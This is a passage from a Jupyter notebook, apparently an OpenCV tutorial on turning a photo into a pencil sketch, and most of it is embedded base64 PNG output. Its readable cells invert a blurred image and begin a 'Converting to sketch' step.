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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "inv_blur_img = cv2.bitwise_not(blur_img)\n", - "inv_blur_rgb_img = cv2.cvtColor(inv_blur_img, cv2.COLOR_BGR2RGB)\n", - "plt.imshow(inv_blur_rgb_img)" - ] - }, - { - "cell_type": "markdown", - "id": "6b607e2f", - "metadata": {}, - "source": [ - "### Converting to sketch" - ] - }, - { - "cell_type": "code", - "execution_count": 24, - "id": "9b862122", - "metadata": { - "scrolled": true - }, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 24, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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